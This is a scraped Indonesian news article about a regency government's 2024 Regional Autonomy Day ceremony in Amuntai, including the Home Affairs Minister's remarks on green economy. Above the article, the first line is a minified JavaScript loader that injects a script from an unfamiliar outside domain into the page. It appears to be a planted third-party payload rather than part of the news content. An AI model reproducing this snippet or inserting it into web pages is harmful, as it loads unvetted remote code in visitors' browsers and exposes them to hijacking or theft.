(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar apel peringatan Hari Otonomi Daerah XXVIII tahun 2024 di halaman kantor Bupati HSU, Jumat (26/4/2024) pagi.
Mengusung tema “Otonomi Daerah Berkelanjutan Menuju Ekonomi Hijau dan Lingkungan Sehat”, apel dipimpin Penjabat (Pj) Bupati HSU Zakly Asswan dihadiri para pejabat di lingkungan Pemkab HSU, Forkopimda, dan ASN.
Pj Bupati HSU Zakly Asswan saat membacakan arahan Menteri Dalam Negeri Muhammad Tito Karnavian menyampaikan, tema Hari Otda 2024 ekonomi hijau dan lingkungan sehat dipilih untuk memperkokoh komitmen, tanggung jawab, dan kesadaran seluruh jajaran pemerintah daerah akan amanah, serta tugas untuk membangun keberlanjutan.
“Dalam pengelolaan sumber daya alam dan lingkungan hidup di tingkat lokal serta mempromosikan model ekonomi yang ramah lingkungan untuk menciptakan masa depan yang berkelanjutan bagi generasi mendatang,” katanya.
Baca juga: Relokasi Normalisasi Sungai Kuranji di Cempaka Warga Ada yang Tak Setuju
Perjalanan kebijakan otonomi daerah selama lebih dari seperempat abad merupakan momentum yang tepat bagi semua untuk memaknai kembali arti, filosofi dan tujuan dari otonomi daerah.
Dimana otonomi daerah merupakan hak, wewenang, dan kewajiban daerah otonom untuk mengatur dan mengurus sendiri urusan pemerintahan dan kepentingan masyarakat setempat dalam sistem Negara Kesatuan Republik Indonesia.
Selain itu, Tito Karnavian menuturkan, Sebagaimana diatur dalam UU Nomor 23 tahun 2014 tentang pemerintahan daerah dengan filosofi otonomi daerah dilandaskan pada prinsip-prinsip dasar yang tertuang dalam pasal 18 UUD 1945.
“Berangkat dari prinsip dasar inilah otonomi daerah dirancang untuk mencapai dua tujuan utama termasuk di antaranya tujuan kesejahteraan dan tujuan demokrasi,” imbuhnya.
Baca juga: Polresta Banjarmasin Tengah Selidiki Kasus Bayi Meninggal Dalam Rahim
Pembagian urusan pemerintahan menjadi urusan pemerintahan konkuren atau urusan yang dapat dikelola bersama antara pusat, provinsi, dan kabupaten kota menuntut pemerintah daerah untuk mampu mengartikulasikan kepentingan masyarakat. Dan mengimplementasikan kepentingan tersebut ke tata kelola pemerintahan yang lebih partisipatif, transparan, dan akuntabel serta responsif.
Mendagri menyebutkan bahwa Kementerian Dalam Negeri juga berkomitmen untuk memperkuat fungsinya dalam fasilitasi produk hukum daerah yang berfokus pada pembangunan ekonomi hijau untuk mencapai keberlanjutan lingkungan dan kesejahteraan masyarakat secara holistik.
“Fungsi ini bertujuan untuk memaksimalkan peran peraturan daerah yang berfokus pada komoditas dan sektor unggulan yang ramah lingkungan dengan memperhatikan aspek fungsi ekologis, resapan air, ekonomi, sosial budaya, estetika dan penanggulangan bencana,” pungkasnya. (Kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.